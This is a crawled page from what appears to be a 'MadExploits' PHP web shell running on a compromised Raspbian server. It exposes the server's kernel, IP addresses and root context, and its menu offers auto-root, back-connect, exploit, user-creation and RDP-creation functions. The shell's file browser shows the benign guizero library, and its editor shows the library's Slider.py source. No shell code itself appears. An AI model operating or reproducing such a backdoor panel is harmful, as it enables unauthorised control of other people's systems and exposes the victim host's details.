Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
guizero /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
App.py
1.99
KB
-rw-r--r--
Box.py
3.11
KB
-rw-r--r--
ButtonGroup.py
10.2
KB
-rw-r--r--
CheckBox.py
4.63
KB
-rw-r--r--
Combo.py
10.54
KB
-rw-r--r--
ListBox.py
8.05
KB
-rw-r--r--
MenuBar.py
1.32
KB
-rw-r--r--
Picture.py
2.58
KB
-rw-r--r--
PushButton.py
5.2
KB
-rw-r--r--
RadioButton.py
1.7
KB
-rw-r--r--
Slider.py
2.59
KB
-rw-r--r--
Text.py
2.71
KB
-rw-r--r--
TextBox.py
3.7
KB
-rw-r--r--
Waffle.py
10.4
KB
-rw-r--r--
Window.py
1.03
KB
-rw-r--r--
__init__.py
715
B
-rw-r--r--
alerts.py
1.17
KB
-rw-r--r--
base.py
18.22
KB
-rw-r--r--
event.py
5.87
KB
-rw-r--r--
tkmixins.py
10.47
KB
-rw-r--r--
utilities.py
11.77
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Slider.py
from tkinter import Scale, HORIZONTAL, VERTICAL from . import utilities as utils from .base import TextWidget class Slider(TextWidget): def __init__(self, master, start=0, end=100, horizontal=True, command=None, grid=None, align=None, visible=True, enabled=None, width=None, height=None): description = "[Slider] object from " + str(start) + " to " + str(end) # Set the direction self._horizontal = horizontal orient = HORIZONTAL if horizontal else VERTICAL # Create a tk Scale object within this object tk = Scale(master.tk, from_=start, to=end, orient=orient, command=self._command_callback) super(Slider, self).__init__(master, tk, description, grid, align, visible, enabled, width, height) self.update_command(command) # PROPERTIES # ---------------- # Get/set the value @property def value(self): return (self.tk.get()) @value.setter def value(self, value): self.tk.set(value) def resize(self, width, height): self._set_width(width) self._set_height(height) if width == "fill" or height == "fill": self.master.display_widgets() def _set_width(self, width): self._width = width if width != "fill": if self._horizontal: self._set_tk_config("length", width) else: self._set_tk_config("width", width) def _set_height(self, height): self._height = height if height != "fill": if self._horizontal: self._set_tk_config("width", height) else: self._set_tk_config("length", height) # METHODS # ---------------- # Calls the given function when the slider value is changed def _command_callback(self, value): if self._command: args_expected = utils.no_args_expected(self._command) if args_expected == 0: self._command() elif args_expected == 1: self._command(value) else: utils.error_format("Slider command function must accept either 0 or 1 arguments.\nThe current command has {} arguments.".format(args_expected)) def update_command(self, command): if command is None: self._command = lambda: None else: self._command = command # DEPRECATED # ------------------------------------------- def add_command(self, command): self.update_command(command) utils.deprecated("Slider add_command() is deprecated - renamed to update_command()")
Close